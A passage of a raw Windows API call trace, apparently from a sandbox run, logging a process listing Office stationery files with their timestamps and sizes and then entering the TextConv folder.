nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0219.872] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0219.872] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0219.872] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0219.873] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0219.873] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0219.873] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0219.873] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0219.874] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0219.874] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0219.874] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0219.874] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0219.874] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0219.875] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0219.875] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0219.875] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0219.875] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0219.876] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0219.876] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0219.876] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0219.876] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0219.876] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0219.877] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0219.877] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0219.877] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0219.877] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0219.877] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0219.878] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0219.878] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0219.878] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0219.879] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0219.879] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0219.879] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0219.879] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0219.880] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0219.880] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0219.880] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0219.880] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0219.881] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0219.881] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0219.881] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0219.881] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0219.882] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0219.882] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0219.882] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0219.882] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0219.885] GetProcessHeap () returned 0x560000 [0219.885] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0219.885] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0219.885] GetProcessHeap () returned 0x560000 [0219.885] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0219.885] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, 